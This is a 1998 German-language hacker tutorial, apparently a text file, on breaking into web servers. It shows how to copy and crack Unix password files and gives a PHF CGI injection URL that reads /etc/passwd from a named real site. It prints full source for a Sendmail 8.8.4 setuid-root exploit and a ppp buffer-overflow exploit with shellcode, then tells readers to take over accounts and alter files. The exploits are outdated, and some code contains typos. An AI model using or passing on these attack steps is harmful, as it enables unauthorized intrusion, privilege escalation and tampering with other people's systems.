Hacking Webpages Die Anleitung Der amerikanische Hacker Psychotic schrieb eine der wohl am besten helfenden Unix-Bibeln im Cyberspace, aber nachdem er diesen 36-seitigen Text ver”ffentlicht hatte, erreichten ihn unz„hlige Mails.Er erkannte das Unix nicht fr jede Person ist, so schrieb er diesen Text, welcher die Anleitung zum Hacken von Webpages ist. 1.Zugriff zur Password-File durch FTP Der anonyme Zugriff durch FTP ist einer der einfachsten Wege um den Status eines Superusers zu erhalten.Als erstes muát du etwas ber den Aufbau der Password File wissen. Root:User:d7Bdg:1n2HG2:1127:20:Superuser Tom Jones:p5Y(h0tic:1229:20:Tom Jones, :/usr/people/tomjones:/bin/csh Bbob:Euyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh Das ist ein Beispiel einer regul„r verschlsselten Password-File.Der Superuser ist der Teil der dir den Zugriff gibt.Das ist der Hauptteil der File. Root:x:0:1:Superuser:/: ftp:x:202:102:Anonymous ftp:/u1/ftp ftpadmin:x:203:102:ftp Administrator:/u1/ftp Das ist ebenfalls ein Beispiel einer Password File,allerdings mit einem Unterschied.....sie ist versteckt.Versteckte Password-Files zeigen das verschlsselte Password nicht an,sie lassen sich auch nicht kopieren.Das bringt Probleme fr den Password-Cracker oder den Dictionary Cracker (sp„ter erkl„rt).Jetzt ein weiteres Beispielt einer versteckten Password-File. root:x:0:1:0000-Admin(0000):/:/usr/bin/csh damon:x:1:1:0000-Admin:/: bin:x:2:2:0000-Admin(0000):/usr/bin sys:x:3:3:0000-Admin(0000):/: adm:x:4:4:0000-Admin(0000):/var/adm: lp:x:71:8:0000-lp(0000) :/usr/spool/lp smtp:x:0:0:mail daemon user:/: uucp:x:5:5:0000-uucp(0000) :/usr/lib/uucp nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:uid no body:/: noaccess:x:60002:6002:uid no access:/: webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false ftp:x:54:54:anonymous FTP:/export/home/anon_ftp:/bin/false Versteckte Password-Files haben ein "x" oder ein "*" an der Stelle des Passwortes. Nun,wo du ein bisschen mehr ber die Password-File weiát,solltest du in der Lage sein,eine normal verschlsselte Password-File und eine versteckte Password-File unterscheiden zu k”nnen.Wir gehen nun dazu ber,wie man die Password-File crackt. Eine Password-File zu cracken is nicht so kompliziert wie es sich anh”rt.Die einzige Hrde liegt darin,das sich die Files von System zu System zu unterscheiden. 1.Der erste Schritt,den du ausfhren muát ist,das du dir die Passwordfile kopieren oder downloaden muát. 2.Als zweites muát du dir einen Password Cracker und einen Dictionary Maker besorgen.Obwohl es ziemlich einfach ist,einen guten Password Cracker zu finden,empfehle Ich dir einen der folgenden: Cracker Jack,John the Ripper,Brute Force Cracker oder Jack the Ripper. Nun zum Dictionary Maker... Wenn du ein Crack-Prog startest,wirst du zuerst nach der Password-File gefragt.Dort kommt dann auch der Dictionary Maker zum Einsatz.Einen Dictionary Maker kannst du von nahezu jeder Hackersite downloaden.Ein Dictionary Maker findet alle m”glichen Buchstaben-Kombinationen mit den M”glichkeiten die du ausgew„hlt hast. (ASCII,caps,kleine buchstaben,Groábuchstaben und auch Nummern). 3.Du startest den Cracker und folgst den Instruktionen,die das Programm dir gibt. 2.Die PHF Technik Ich war nicht sicher,ob ich diese Section mit reinnehmen sollte,weil fast jeder ber diese Technik bescheid weiá und die meisten Server haben den Bug schon beseitigt.Aber da es immer noch Fragen zur PHF gibt,schreibe ich diesen Teil mal mit rein. Die PHF Technik ist der einfachste Weg,eine Password File zu kriegen.Aber ich warne euch....zu 95% wird diese Technik nicht funktionieren.Um die PHF auszufhren muát du nix weiteres tun als einen Browser (IE 4 oder Netscape 4.05) ”ffnen und den folgenden Link einzugeben: Http://website_ist_hier/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Ersetze das website_ist_hier mit der Domain.Wenn du also versuchst,die Passwort File fr www.geocities.com zu erhalten,muá der Link so aussehen: http://www.geocities.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/password und das warïs.Du sitzt nur und kopierst die File (wenns funktioniert) 3.Telnet und Exploits Exploits sind der beste Weg Websites zu hacken,aber sie sind auch komplizierter als der Zugriff durch FTP und die PHF Technik.Bevor du ein Exploit verwenden kannst brauchst du erstmal ein Telnet Prog.es gibt mehrere Verschiedene Anbieter von Telnet Proggies,mach einfach eine Net-Suche,und du wirst gengend Proggies und Zubeh”r finden. Am besten richtest du dir einen Account bei deinem Ziel (wenn m”glich) ein. Nun zu den Exploits. Exploits entdecken Fehler und Bugs in Systemen und geben dir gew”hnlicherweise vollen Zugriff.Es gibt viele Verschiedene Exploits im Netz und du kannst sie dir alle angucken.Ich werde hier mal ein paar Beispiele von Exploits auflisten,aber die Liste der Exploits ist endlos. Dieser Exploit ist bekannt unter dem Namen Sendmail v.8.8.4 Er erstellt ein Suid-Programm /tmp/x das den shell als Root herstellt. So richtest du es ein: cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include main ( ) { execl (RUN,RUN,NULL) ; } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main ( ) { execl ("/usr/lib/sendmail ","/tmp/smtpd",0) ; } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main ( ) { setuid (0) ; setgid (0) ; system ("chown root /tmp/x ;chmod 4755 /tmp/x") ; } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/" [ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi nun zu einem anderen Exploit.....dem ppp vulnerbility. So erstellst du ihn: #include #include #include #define BUFFER_SIZE 156 /* size of the buffer to overflow */ #define OFFSET -290 /* number of bytes to jump after the start of the buffer */ long get_esp (void) { __asm__("movl %esp,%eax\n"); } main (int argc, char *argv[]) { char *buf = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */ "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */ "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */ "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */ int i,j; buf = malloc(4096); /* fill start of bufer with nops */ i = BUFFER_SIZE-strlen(execshell); memset(buf; 0x90, i); ptr = buf + i; /* place exploit code into the buffer */ for(i = 0; i < strlen(execshell); i++) *ptr++ = execshell[i]; addr_prt = (long *)ptr; for(i=0;i < (104/4); i++) *addr_ptr++ = get_esp() + OFFSET; ptr = (char *)addr_ptr; *ptr = 0; setenv("HOME", buf, 1); execl("/usr/sbin/ppp", "ppp", NULL); } Jetzt hast du den Zugriff.....Was jetzt???? Nun,die Wahl liegt bei dir,aber ich rate dir,zuerst das passwort zu „ndern bevor du irgendeine andere Aktion ausfhrst.Um das Password zu „ndern muát du dich via Telnet und einloggen und dich dann unter deinem neunen Account einloggen.Dann tippst du "PASSWD" und es wird dich nach dem alten password und danach nach deinem neuen fragen.Du gibtst dann dein neues ein,und das sollte es dann gewesen sein....du kannst jetzt uploaden,l”schen oder einfrach nur rumspielen..... HAVE PHUN!!!!! The Destroyer,Germany ¸1998 Destruction Laboratories Incorporated